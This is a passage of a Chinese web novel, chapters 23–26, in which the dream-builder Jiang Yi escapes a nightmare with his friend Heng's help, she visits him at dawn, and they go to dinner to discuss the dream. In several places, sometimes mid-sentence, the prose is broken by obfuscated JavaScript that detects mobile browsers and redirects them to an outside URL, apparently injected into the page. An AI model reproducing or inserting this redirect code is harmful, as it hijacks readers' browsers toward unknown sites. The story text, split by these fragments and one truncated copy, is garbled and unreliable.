我已经不知道往下掉了多少层,我想起上次珩讳莫如深的“无限延伸梦境”,他该不会……把我扔进无穷无尽的时间里了吧。 我还在下坠。 但我感觉我落到了一个新的地方。一个新的地方,一个……我从未来过的地方。这里没有光,穹顶非常高,四周很空旷,温度很低。我在它的内部下落,之后我落在地上,这一声闷响产生之后,没有阻滞地传出去很远,再也没有回头。这是一个荒芜的、空旷的、暗无天日的空间。 好歹是到底了。 疼痛依然在继续,空间里有些冰冷的空气在盘旋,我听到了好多声音,像钻进蚊帐的蚊子,它钻到我耳朵旁边说话,因为距离太近,我躲不开这震耳欲聋的声音。 - 你为什么跑? 没有人在乎你。 你该死。 - 它在这空间里到处游荡,不停有新的声音,轰鸣着冲向我,声音越来越多,越来越繁杂,我辨不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051212|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁在说话,辨不清是哪里来的人,但他们不放过我,他们不停地在重复同类型的话。在我仅有的四年记忆里,我有很好的朋友,生活上也没遭遇过什么恶意,我并不觉得这些话是在说我,就算是我,那也是被我遗忘了的,很多年前的我。这些声音本不应该对我造成任何伤害,但很奇怪,很奇怪。看不到尽头的黑暗,充盈了整个房间的冷空气,还有四周漂浮着的,绝望的无助的情绪,它们像在对我施蛊,我感觉我像一盏落在冰河中的灯,冷水浸透了灯罩,没过了烛台,之后烛火在寒冷中摇曳,渐渐地便黯淡下去。 我动不了了。 我蜷在地上,这里像个冰窖,太冷了。 我想起上个星期我在古堡里,我好像也曾经被这样关起来。那一次我被冻死在屋里,之后我返回教学楼,珩在门口等我。她是怎么说的? 她说保持冷静,无论遇到什么,你第一件要做的事,是判断当前环境的真假。 这里肯定是假的。 之后回想一下,你是从哪里来到这里的? 我……我从我小时候的家里来的。 再之前呢? 我在教学楼里。 是了我在教学楼里,我在做梦,我马上大喊:“我不行了求你了救我!快!救我!” 我的声音在空旷的冰窖里跑出去好远。没有回应。 保持冷静,保持冷静,我再想想,再之前,再之前我在哪里? 我在和珩聊天,珩喝了奶茶没睡着。 【珩:今晚训练?】 我回复她了。 “嗯。” “那段录音挺危险的,轻微的状态改变都可能让你迷路,你要是觉得今晚比平时兴奋一点,那就明天再训练吧。” “遵命!晚安。” “晚安。” 她和我说过晚安之后,我把音箱关了,之后打开手机,把明天的二十个闹钟都关了。睡觉之前,我看了一眼床头柜。 她给我的绿色手绳就放在上面,虽然我今晚不打算进训练场,但不知道是不是心理作用,戴上手绳之后,我好像要睡得安稳一些,近来几乎是没再做噩梦了,关灯之前,我还是把它戴上了。 “这个给你,你戴着睡,如果你实在是受不了了,必须要醒来,你就叫我,我会把你拉出来。” 我戴着手绳。 “珩,珩,救我,珩——” 我在黑暗中呼喊她的名字,之后,我感觉到一阵熟悉的魔力将我承托,我在黑夜里待得太久,光亮出现的那一刻,我睁不开眼。我眯着眼睛,适应了有几秒钟,之后才睁开眼看,我看见我的思维碎片在空中漂浮,它们比上个星期飞得慢多了,要不是盯着一个碎片仔细看,几乎要误以为它们是静止的。 她把我救了出来,我终于要醒了,我现在正在浅层梦到现实的降落阶段。 上个星期,我在延长了729倍的时间里,看到了漂浮的思维碎片。 现在它们几乎是静止的。 他把我往下推了多少层? 23. 珩到访 我说不清楚我到底花了多长时间,才从梦中的楼阁落到现实。失去了白昼和黑夜的交替,我对时间的长度也失去了概念,我只知道我躺在那里,躺了好久好久。我的思维碎裂得很彻底,它们像尘埃一样在我的上空漂浮,我动弹不得,脑子里剩下的思维在乱转,我在想珩,想长者饭堂的番茄炒蛋,想章鱼小丸子,想路迢每次吃不干不净路边摊之前的踌躇,想楼下的流浪猫……我用我仅剩的一点思维尽可能地思考,以此来打发时间。时间太漫长了,太漫长了,像一场怎么都等不来入睡或是天亮的失眠,我穷尽了我剩下的所有神经元,点亮了所有突触,我还没能落到地上。 因为我的时间被放慢到几乎静止的地步,我的降落几乎没有声息,像一片落叶,或是羽绒服里跑出来的一根鹅绒,轻飘飘地落到地上。我醒来的时候,天刚开始亮,我家在三楼,房间的窗口外面,是路边一棵长到六七层楼高的大榕树。因有它的遮挡,我对天亮的感知总要落后一些,上天补偿我,每天都派一大群吵吵嚷嚷的小鸟,来提醒我新一天的到来。 我以前烦透它们了,因此睡前我总会把厚厚的窗帘拉上,好挡住外面的阳光和鸟叫声。 但珩说光和动物的叫声是人类脑子里两百万岁的天然闹钟,是噩梦的唯一天敌,自从听她这么说过之后,我晚上就不拉窗帘了。 此时听到现世里的鸟叫声,我有种劫后余生的幸福感,我试着动了动我的手指,身体受我控制。我把双手举起来,这是一双二十六岁青年男性的手。太好了。回来的感觉真是太好了。 我看到我左边手腕上的绿色手绳。它太好看了,我再也不说珩的审美有问题了,我再也不在背后偷偷吐槽她是个“绿以外色盲”了。今天是星期六,对,今天是星期六,等到天亮,我要给珩打电话,她是我的救命恩人,我要请她吃饭,请她吃大餐,请她吃特贵的…… 我的手机好像在震,鸟叫声太大了,它在我的床头柜上一抖一抖,我一点也没注意到。忽然间它连续地震动起来,因为我把手机放在了一本摊开的书上面,它顺着倾斜的书页往下滑,然后“咚”地掉在我的脸旁边。 我手忙脚乱地解锁手机,它还停留在我昨晚和珩的聊天页面上。 珩5:11给我发消息,我看看时间,是十五分钟之前。 【珩:你醒了吗?】 【珩:江夷?】 【珩:喂!】 “珩”拍了拍我的金鱼脑袋。 【珩:你在家吗?】 我的注意力还没有完全恢复,我看着她发过来的信息发愣,直到我忽然发现她正在给我打电话,手机顶上悬着的通知横幅上,是她的长者饭堂开饭时间表头像,和后面的“珩邀请你语音通话”。 我慌忙接通:“喂?” 预料到她要说话了,不知怎的我居然有点紧张,电话有时候是种过于亲近的发明,在这样一个天还没亮透的幽静清晨,迷迷糊糊地躺在自己的床上,听见她的声音在那么近的地方响起,我莫名地有些局促。 “我在你家门口,”她说,“开门。” “什么?”我差点以为自己还在做梦。 “我在你家门口,”她把自己的话重复了一遍,“开门!” 我离家太久,在梦里停留了可能有个几年的时间,起来的时候险些忘记我家门口在哪里,我穿上拖鞋就蹬蹬蹬往门口跑,跑到一半我发现我没穿上衣,她上次嫌弃的眼神从我混乱的大脑里冒头,我又赶紧跑到阳台,收了件洗干净的T恤套上。 我真是个受过良好训练的筑梦师,随时怀疑信息的真实性,到门口的时候我还怀疑了一下,我没开门,先从猫眼里往外看—— 珩真的在。好可怕。她真的在。我看见了她深绿色的脑袋和超宽松的浅蓝色T恤。天塌了。太阳从西边出来。她真的来了。 我把门打开。 珩肯定又是骑她的无敌风火轮二十八寸旧单车来的,因为她的头发被风吹得很乱,她自己可能没有察觉,或是并不在乎,但从我这个角度看,她的脑袋就像一个墨绿色的鸟窝,幸好她从大门进来,而不是爬我家的窗,不然外面的小鸟可能会在她的头顶住下。 她站在门口,走廊上的照明灯刚换过,明亮的白光照亮她的眼睛,她眼睛的颜色变得更浅了,像泡过好多趟的茶。 她看向我的脸,之后又看我的手,然后又看我的脸。她没说话,但因为她总是不太爱说话,我能看出她沉默的质地,她今天的沉默……很柔软。好像我是个摔倒了正坐在地上哭的小孩,或是一只饿得皮包骨头的流浪猫,我很少被人用这种目光看着,或者准确点来说,我从来没被谁这样看过,她好像觉得我很可怜,如果我不是二十六岁的江夷,而是昨晚那个受虐待的十岁小孩,我怀疑她下一秒就要伸手过来摸摸我的头。 如果她不来,我可能会在床上躺半天,断断续续地睡了醒醒了睡,之后被又吵又亮的现实世界彻底唤醒,把昨晚的一切定义成一场噩梦,之后像处理其他噩梦一样,把它塞到堆满垃圾的杂物间去。 但她来了。然后用这种目光看着我。 昨晚那场噩梦像剥去了我最外层的皮肤,我的感官有些过敏,她只是用和平时不一样的,似乎带了些私人感情的目光看我,我就觉得浑身刺痒,像穿了件粗糙的毛衣,到处有毛线和静电在扎人。她好像在关心我,但我脑子里总有一块区域,好像是从前那个警惕冷酷的我遗留的部分,他不停地要从我的脑海中,撇去“有人在乎我”的相关想法。我被他说服了。她来肯定是因为某些事,而不是因为我这个人—— “我昨晚真的没打开那段录音……” “我知道。” 她回答得很干脆,显然是没对我产生过一分一毫的怀疑。我的心脏又被刺了一下。 “我不知道怎么就做了个噩梦,就在你那个小学里面……” 我想告诉她昨天的噩梦内容,但它太可怕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068249|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它好像触碰到某根我大脑里的保险丝,大脑不让我回忆。 “对不起,我想不起来,它好像被封住了,我怎么都想不起来……” “想不起来就算了,我不是来问你那个梦的。”她打断我的话,语气却分外的温柔,“我是来看你的。你还好吗?” …… 我全然陷入空白,只看得见她担忧的眼睛。 我像那种憋了一肚子委屈的人,本来没打算发作,结果朋友好心来安慰一句,本来就不坚牢的堡垒轰然倒塌,强烈的情绪奔涌而出。 荣格说人的心里住着一个两百万岁的人。 我很确定这一刻,这一刻,那个两百万岁的人,在遭遇了可怕的伤害之后,他想不起任何现代的纾解手段,他只想要一个拥抱。我身体里所有幼稚的,脆弱的,不堪一击的部分,它们集结在一起,攻破我还不很清醒的大脑,他们说我需要一个拥抱。 是,我需要一个拥抱。 他们说我理应得到一个拥抱。 是,我理应得到一个拥抱。 他们说,那个冰窖,那个黑漆漆的冰窖,太冷了,太可怕了,还有人不停在诋毁你,辱骂你,现在你的朋友就在眼前,你可以抱抱她。 不…… 她救了你,她担心你,她天没亮就赶来你家见你,她是在意你的,她愿意抱抱你。 不…… 她愿意的,真的,不信你就试试,她不会推开你的。 真的吗?不,不行……我不能这么做。 我的理智始终在抵抗我想要拥抱她的冲动,它赢了,我站在那里,一直没动,但它赶不走那种冲动,那种强烈的,想要亲近另一个同类的冲动,它们在我的大脑里激烈地交战,而我就这么站在她的面前,像个傻子一样看着她,什么话都不说。我不知道她是感觉到了我的挣扎,还是因为我反常的踌躇而不知所措,她也这么站在我的面前,看着像个傻子一样的我。 我和她就这样看着彼此,既不说话,也不动。 楼道里的声控灯忽然间关了。 我如梦初醒般开口:“快进来吧。” 她跟着我进来,我把门关上,客厅里没开灯,只剩了早上五六点的阳光在照明。我的心在狂跳,大脑一片空白,没有余裕去顾及我走路的动作,我像个机器人一样走到沙发旁边,把上面堆着的抱枕外套游戏手柄往旁边胡乱一扫。 “不好意思我家有点乱……你坐这里吧,放心,虽然我乱但我挺干净的,你要喝水吗?好像只有前天煮的水了,哦冰箱有可乐,你喝可乐吗?” 我的脑子失去控制,像喝醉了酒,我的理智好像在刚才要不要抱她的挣扎中消耗殆尽了,现在我没有理智,脑子想什么,嘴巴就说什么。我觉得我最好不要说话,因为我不能确定我会说出来什么。我怕她嫌我这里脏乱差,我拿了个大袋子就开始收拾我乱七八糟的茶几。 她坐在我后面,忽然叫我:“江夷。” 24. 你好可爱啊 我吓了一跳:“哎。” “不用收,你过来吧。” 我把东西放下,之后在她旁边坐下。 她看着我,我很慌乱,手不知道往哪里放,眼睛也不知道往哪里看。我不知道我在慌乱什么,这跟那个噩梦没关系,因为现在它被我大脑的自我保护系统锁定了,它现在是一团冰冷的黑雾,我一点都想不起它的具体内容。可能因为这是第一次有女孩来我家。对于我来说是第一次,对于那个阴险狡诈心狠手辣的我来说应该也是第一次。 和他朝夕相处了快两个月,我发现了一些规律,假如我经历了一些我这四年来没有经历过,而他曾经经历过的事情,我脑区里某个黑暗的地方会短暂地被点亮。现在我的脑子毫无动静,只有心脏在狂跳。他也不知道怎么办,事情触及他的知识盲区了,太好了我心理平衡了,连他都不知道怎么办,我像个傻子一样愣在这里,也情有可原。 “你还有别的凳子吗?”她问我,“你能坐在我前面吗?” 我不知道她要做什么,但我对她习惯性无理由服从。“这是个沙发床,可以拉开。”她闻言起身,我摸到多年没动过的沙发床开关,希望它别卡住,我摁下似乎已经有点僵硬的开关,咔哒一声,它好像是松开了。我猛然发力一拉,我高估了它的阻力,动作有点太大,我人差点撞到她身上,她已经习惯了我的冒冒失失魂不守舍,她安静地闪开一步,我尴尬地假装无事发生,没敢看她。 我在沙发边上坐下,她在我旁边也坐下,之后她把鞋子脱掉,爬到了我的身后。 “闭眼。” 我照做。 身后有点窸窸窣窣的声音,她好像在翻什么,我现在的大脑属于两百万岁的原始人,刚睡醒,没有理智,我本能地要睁眼看她,她好像在我身上装了摄像头,我的眼皮刚抬起来一点,她就把我喝住了:“闭眼。” “……遵命。” 她翻完了,我感觉到她欠身靠近我,她把什么冰凉光滑的东西放在我的眼睛前面,好像是一条丝巾之类的东西,彩色的,六点多的阳光已经很亮了,它穿过丝巾,在我合上的眼睛泼了点乱七八糟的颜色。 她一句话都没说,也没碰我。之后我有种奇怪的感觉。 她开口问我:“感觉怎样?” “胃在震,肠子也是。” 这种感觉瞬间消失,之后好像有一阵魔力钻进了我的身体。 “现在呢?还震吗?” “不震了,像喝了好大一杯热水,胃里暖暖的。” “舒服吗?” “嗯。” 这杯热水从我的胃一直往下,到了我的肠子里,我整个肚子都暖暖的,之后它扩散到我的腹壁,我的皮肤,它爬满我身体,又钻到我的脊椎里,它顺着我的椎管一路向上,一路向上,我的大脑和神经的敏感程度不一样,它钻到我的大脑表面时,我被刺得缩了一下。 它又消失了。 “怎么了?” “有点扎,好像有人用毛巾在擦我的大脑表面。” 它又出现了,这次力度轻了很多。 “现在呢?” “好多了。” “你喜欢吗,”她的声音很近,特别近,像是在我的听神经上说的,“现在这种感觉?” “喜欢,现在不像毛巾了,软多了,像小猫在用脑袋蹭我。” 她不说话了。那只小猫在我的大脑表面趴下,它偶尔拱拱我,偶尔在我上面翻身,我不知道这是什么,珩好像在使用一种疗愈的魔法,我很快就放松了下来。很难想象这居然是个刚从为时好几年的噩梦里挣脱的早晨,我居然觉得有点幸福。 “你好点了吗?” “嗯。” 她没说话了,那只小猫一直在蹭我,我几乎在这种轻柔的,毛茸茸的抚摸下进入催眠状态,好像什么一直紧绷着的绳索被解开了,好像喝了点酒,负责理智的神经元睡着了,负责情感的还醒着,我管不住自己的嘴,好想说话,好想说话…… 忍不住了。 “我喊你的时候,你听到了?” “嗯。” “你的手绳里藏了什么高科技脑电波感应器吗?” “没有。” “那你怎么听到的?” “我有超能力。” “心电感应?真的吗?那我现在想个东西,你感应一下我在想什么?” “你在质疑我吗?” “……不敢。” 她好像是笑了,我大脑表面翻滚的小猫肯定跟她的大脑有什么神秘的联系,她一笑,我感觉好像有什么捏了捏我的大脑,那块脑区对应的皮肤像被什么挠了一下,有种奇怪的酥麻感。 我安静了一分钟,之后又开始控制不住地找她说话。 “你被我吵醒了吗?” “没有。我没睡着。” “啊???为什么啊?” “……还问为什么,就你那杯什么,茉莉奶绿?” “哈哈哈哈,那我下次一定要带你去喝万里木兰。” “万里木兰?那是什么?” “好喝的东西,比茉莉奶绿好喝一万倍。” “是连你喝了都睡不着的东西吧?” “不是,你怎么知道?” 她又笑了一下:“因为我有超能力啊。” “我不信,我把手绳脱了,你再试试。” “你又在质疑我?” “小人不敢。” 她真是个好安静的人,只要我闭嘴,她就不说话,我对身体其他部分的感知已经被关闭了,我只能感觉到我的大脑和它上面的小猫。我耐不住这种安静,没过多久,我又叫她。 “珩。” “又怎么了?” “你是我的救命恩人,我要郑重地感谢你救了我一命。” “然后呢?” “请你去吃饭如何?请你吃好吃的,你要吃什么?我知道有家放题,你要是饭量大,我们就去吃那个。你要是饭量不大,我们就去吃别家,我收藏了很多家好吃的,等会我发给你,你挑一家……” 我有点困了。我其实很累,但那个噩梦像一根嵌进肉里的刺,它持续给我发放一些微弱但足以妨碍我睡着的疼痛,现在它被珩的魔力化解掉了,我感觉我说的话越来越乱,越来越接近半梦半醒时的呓语。 我快睡着了,就像每天即将入睡那几分钟,我的大脑里开始有好多不同的念头杂乱无章地播放。 我忽然想起了那个梦。 “你知道吗,昨晚我掉进了一个很黑很黑的地方,那里特别冷,像,像什么,像……像个关上门的冰箱。我怎么大喊都没人来把它的门打开。” “嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073537|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “然后我听见大家在骂我,他们说我一无是处,说我没有任何活着的价值,说我该死,说没有人在乎我。” “……” “不行,那些话钻进来了……你能夸夸我吗?” “什么?” “你能夸夸我吗,把它们打回去。” “好,”她思索了一下,“你很好,你很善良,你很勇敢……” 她说这么点就词穷了,我有点委屈:“要是你以后骂我的时候也像现在这么词汇匮乏就好了。” 她被我这句话彻底地逗笑了,我大脑表面那只猫几乎是在跑酷,它在我的大脑皮质上乱窜,我感觉到它的爪子随机地在我的皮肤上抓挠,挠得我好痒,我不知道该往哪里躲,于是像一条大毛毛虫一样乱扭。之后小猫忽然消失了,因为珩笑得止不住,她从我的脑颅里出来了,她的笑声经由空气传到我的耳朵里。 “你好可爱啊。” 她在我背后咯咯直笑。这句话听起来真切多了,像是情不自禁,脱口而出。 我的大脑和我胸腔里大魔王的大脑同时一片空白。 “真的好可爱,你怎么总有种不太聪明的感觉,哈哈哈。” …… 我的大脑和我胸腔里大魔王的大脑同时十分无语。 “我都这样了,你能可怜可怜我,说点好的吗?” 她好像在思考她的措辞,短暂的停顿过后,她开口了,她又钻进了我的脑子里,声音变得很近。 “那你很有快乐的天赋。” “什么?” “就是说你很会让人开心,”她说,“跟你在一起的时候心情会变好。” …… 我睡着了。毫无预兆地睡着了。这一觉没有梦,没有时间的概念,像只睡了一瞬间,但醒过来时,中午的阳光已经热热地熨在我的皮肤上。我已经忘了睡着前的事情,一睁眼,我看见一大片混乱的花花绿绿。 之后我想起来珩往我眼睛上绑了块丝巾,我把它往上一推。 我躺着。珩也躺着,她就躺在我对面,和我只有不到一臂距离。她睡着了,她身上有些舒缓的魔力溢出,以至于我虽然已经从一场深沉的睡眠中醒来,但当我靠近她,感受到空气中的魔力时,我有种奇怪的感觉,特别想躺下,特别想闭上眼,然后什么都不做,就这么睡了醒,醒了再睡,无所事事地就度过一天。 从她来我家之后的一切,都是现在和过去的我不曾有过的经历。我已经习惯了胸腔里那个我,他遇上陌生的事情,警铃持续大作,预备了三万个我被熟睡的珩暴起攻击的可能,并对每个可能设计至少五个解决的方案。我的想法比他简单得多,遇到危险,死了拉倒。我不能躺着看她,她和我之间的距离太近了,我不敢在那个位置看她。我坐起身,她显得好小,她侧躺在沙发床上,客厅的窗帘没拉,中午的阳光罩在她身上。外面有些许微风,树在动,射进室内的阳光随之摇摇摆摆,她的暗绿色头发看起来波光粼粼的。我看她的头发,看她的耳朵,看她的脸。她看起来确实是十五六岁的样子,皮肤很细嫩,很光滑,甚至比我学校里和她差不多年纪的学生都要好,不过想想也是,毕竟学校里的学生要写作业,要考试,她每天从晚上九点睡到早上九点,想老都很难。我不由得低头看了看我自己的手臂,真是令人惆怅啊,和她一对比,我显得好老。 25. 珩大小姐 不知道是阳光在摇曳,还是她头发颜色的干扰,她雪白的皮肤在阳光下似乎有些珠光,是很神奇的质地,人类的皮肤组织上,若有若无地有些细碎的光在闪。我被这珠光引诱着靠近,想去仔细观察她的皮肤,但我刚开始动,她就忽然间瑟缩了一下。 我吓得退开,她一个人占了整张沙发床,之后她蜷起腿,几乎把自己抱成一个虾球,我这才留意到她穿着她平时的牛仔短裤,好大一截腿都裸露在空气中,她刚刚大概不是被我吓的,而是冷的。 我放轻脚步,走到房间,从床上捞了条空调被。抱起被子的时候我闻到了它上面的味道,那很明显是我的味道,洗衣液混沐浴露混一些不知道哪里来的我身上的味道。我把被子扔下,又在衣柜里面翻。柜子最上面一格是我放着备用的床单被套之类的东西,我从里面翻出一条新的薄毛毯,我把它抽出来,之后我看见了它身后压箱底多年的枕头。那是我买现在这个枕头的时候多买的,我很容易被人说服,超市推销阿姨不停地跟我说“很划算加十块多一个”,我就这么买了它回来,放到柜子里占地方。 我把枕头也扯出来,之后我看见它后面还有一只压扁了的毛绒玩具熊。 …… 我把它们三个都抱了出去,我预备好了把珩吵醒之后的说辞,但珩睡得很熟。真是辛苦她了,平时睡十几个小时的人,昨晚熬了个通宵。我把毛毯盖到她身上,她完全没有要醒的意思。我悄悄伸手过去,托起她的头,她整个人都好小,而体温明显比我低上一些,幸好我中途醒了过来,不然她都要被冻感冒了。我一手轻轻托起她的头,另一手迅速地往她的脑袋下面塞了个枕头。她睡得很沉,对此浑然不觉,只是感觉到不冷了,她翻了个身,舒展地平躺在沙发床上。我把毛绒玩具熊放到她旁边,她好像感觉到有什么东西在自己的手边,之后她顺手一抓,就把快有她半个人高的玩具熊抱到了怀里。 我走到阳台前面,解开窗帘,窗帘完全拉上前的那一刻,我回头看了一眼。珩翻了个身,脸埋在毛绒玩具熊巨大的脑袋后面。她睡得很沉,我有点走神,我想,同是天才筑梦师,她真是比我有胆识多了。我在那里担心比我矮一个头的她会从梦中忽然跳起来,然后把我吃掉,而她在我家沙发上直接睡着。她给我的梦里全是虫子恶鬼和怪兽,她自己的梦里会是什么?她已经没有训练的余地了,看她这个自由自在的生活状态,考试成绩,工作,甚至钱,想必都不在她忧虑的范畴。更别谈是感情上的困惑,我很难想象她会像路迢那种感情过分丰富的人那样,跟女朋友吵个架就在那里拉我叨叨一晚上,妨碍我打游戏。她好轻,无论是物理上还是精神上,她身上没有任何东西受困于万有引力。那她会梦见什么? 我又在好奇她了。 这句话像一句警告,我转身把窗帘拉上,炽热的阳光下,窗帘后面的客厅像被烤成了焦糖色。 焦糖色,好,焦糖。我饿了。 我不管她了。我悄悄走到厨房,把玻璃门关上。吃饭要紧,真是饿死我了,她爱梦见什么就梦见什么吧。 …… 她醒来的时候我正在瘫在沙发上玩手机,我听见她原本均匀的呼吸声忽然止住,喉咙里迷迷糊糊地哼哼了两声,然后她睁开眼。她看一眼面前巨大的毛绒熊,脸上有种酒吧里喝醉酒了然后被坏人不知道拐到哪里去的惊惶,之后她反应过来她人在我家里,她猛地往我所在的沙发上一看。那时候我斜躺在远离她的那侧沙发扶手上,显然是在避她。 她凶我:“你离我这么远做什么?” “你的超能力漏出来了,”我还保持着原来的姿势,伸手在她周围的虚空中画了个大圈,“离你两米之内,人就开始困,离你越近,人就越困,你半路踢被子,我给你捡被子,差点一头栽倒在你旁边。” 她才发现自己盖着被子,她皱着眉头看身上的被子头下的枕头,还有怀里的毛绒玩具熊。不用她开口我都知道她在想什么,我在远处说:“新的新的新的,全是新的,我没用过,没有讨厌的臭男人味,好吧?” 她已经睡得分不清东南西北,她坐起来,四处张望,我适时地把她的手机递了过去。 “谢谢。”她接过手机,看到“18:37”的时间时,她没睡醒的眼睛里显然闪过了一丝震恐。 “不用谢,为你服务是臭男人的荣幸。”我说,“你的睡眠质量可真好,你一口气睡了十二个小时,一点没有要醒的意思。现在我有一句话想问你——” 她还抱着熊:“什么?” “你饿不饿?” 我们出发的时候已经是晚上七点了。晚上有点冷,而我十分饿,我问珩要吃什么,珩说她要吃“随便”。路迢说女孩子很复杂,她们说“随便”,意思是让你猜猜她喜欢吃什么。我猜不到,所以我跟她说:“你别随便,你说你要吃什么。”她说她要吃“都行”。我特别尊重她的意见,所以我又问了她一次:“你真的都行?”她又凶我:“好烦,真的都行,别问了。”我看她一眼,她真的好瘦,看起来是那种吃一大碗饭,肚子就能被撑起来的女孩子。但是我很饿,我觉得我一个人能吃回两个人的本,所以我决定去吃放题。 晚上风有点凉,虽然她说不冷,但是我还是给她多拿了件衬衫。她一下楼就冷得发抖,我把衣服递给她,她还嫌弃地闻了闻。我让她多闻闻,适应一下我的臭男人味,因为她过一会儿还要坐我的车,我的车里充满了臭男人味。她瞪了我一眼,说我烦,但她是个理智的人,虽然我很烦,但是她又冷又饿,所以她最后还是穿上了我的臭男人衣服,并且坐上了我的臭男人车。她坐在副驾,扯过安全带,之后在座位左边乱摸,企图在黑暗中摸到安全带扣。我这台车设计得不是很好,安全带扣藏在座位旁边很深的地方,手短的人不能轻易摸到。我伸手过去帮她扣,她大概没什么让人帮忙扣安全带的经历,我也没有什么给人扣安全带的经历,我一抓过去,隔着过于长的衬衫袖子,抓到了她的手。她被我吓了一跳,手一松, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080918|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全带嗖地复位,险些打到她脸上。于是她又瞪了我一眼。 我也是个幸灾乐祸的人,她被吓到,可以算是世纪奇观,我笑得很开心,她表情很难看。我说“对不起”,她说“我看你的样子就没有很对不起”,我说“我帮你扣”,她现在是惊弓之鸟,一听这话,背挺得笔直,脖子伸长,企图把自己拉成扁扁的一条,之后贴在座椅靠背上,尽可能和安全带保持距离。我欠身过去拉安全带,自从我的脑子变得好用之后,我多余的注意力就爱到处乱跑。拉安全带的时候我又分心了,我不由自主地用余光瞥了她一眼。车停在老居民区的露天停车场里,路灯昏黄的光斜斜地透过车窗,照在她脸上。她的皮肤真的有珠光,早上我没有犯幻视症,要不是我看着她六点不到就来我家,我肯定会怀疑她化了妆。她的感官比常人敏锐多了,她甚至能感觉到我在看她,她忽然看向我。我也不知道我在慌乱什么,和她对上目光那一瞬间,我吓得松手。安全带瞬间弹回原位,金属扣打在车门上,发出沉闷的声响。 “对不起!!!” 她觉得又好气又好笑,她看我一眼:“你要不要回去睡一觉,你像那种疲劳驾驶的,安全带都扣不上了,你还能开车吗?” 我不敢看她,光速伸手给她把安全带拉上。 幸好今天道路通畅,没有大胆的电动车左穿右插,来考验我的驾驶技术。这个点才来吃饭的人不多,从负二层停车场到的五楼餐馆的电梯里,只有我和她两个人。她不说话,我也不说话,金色的电梯门上映着我们两个沉默的身影。 这家店挺旺,这个点了还要等位,我和珩在外面等了一会儿,之后被服务员领到一个卡座上。珩看起来是那种吃两口就饱的人,不仅我这么觉得,经过的几桌人也这么觉得,他们的眼神是这么告诉我的。桌子有点大,我失忆的事情只有珩知道,我和她说话总是习惯性靠得很近,她在卡座的一边坐下,之后就挪到里面去。我坐在她旁边,摊开厚厚的菜单。 “你是不是不吃海鲜?” “我吃啊。” 我看她:“你不是说你吃腻了吗?” 她也看我:“我没有,我只是比较挑。” “……我说你是大户人家你还否认,”我把菜单推到她面前,“请珩大小姐看看,这里有没有能入你眼的海鲜?” 因为我们都很饿,我们几乎把菜单上有的都点了一遍。点菜的时候隔壁那桌已经差不多吃饱了,进入聊天时间的人,好奇地往我和珩这里看,不知道是怀疑珩能不能吃完,还是怀疑我能不能吃完。我和她吃了一轮,还有一半菜在路上,吃了点东西,我才总算是回了魂。珩这时候在吃一个海胆,她一边吃一边问我:“你好点了吗?” “啊?”真是不好意思,我今天过得有点过于舒服了,她问我的那一刻,我已经忘记我昨晚做噩梦了。我把嘴里的食物吞进去,之后看她:“你是说昨天的梦吗?” 她开始吸第二个海胆:“对啊,能想起来了吗?” 26. 扳机点 我试着回想了一下。她的魔法果然有奇效,当我再次回忆的时候,那团黑雾散开了,我又看见了夜晚里的村庄。大概是醒过来的时间足够长,这段记忆和我的距离变远了,我能清晰地回想起当时的细节,但那时候的恐惧和绝望已经变得遥远,我像是在看一场主角是我的电影。 “好像可以了,”我说,“我跟你讲讲?” 我和她讲了梦境的内容,她一边吃一边听,等我把整件事都说完,隔壁那桌吃得大半饱的人,已经半靠在椅背上一边喝酒一边聊天。她捏着一个蟹腿在啃,之后看我:“所以说,你是在他踹了你一脚之后,掉出了你的记忆?” “是,我忽然间能动了。” “然后你试着逃跑?” “对。” “但是刚退后一步,你就踩空了,然后开始一层层梦境往下掉?” 说到这里的时候我还是有点后怕:“……对。” 她把蟹壳放下,又伸手拿了另一个蟹腿:“这像是一个测试,而你答错了。” “什么?” 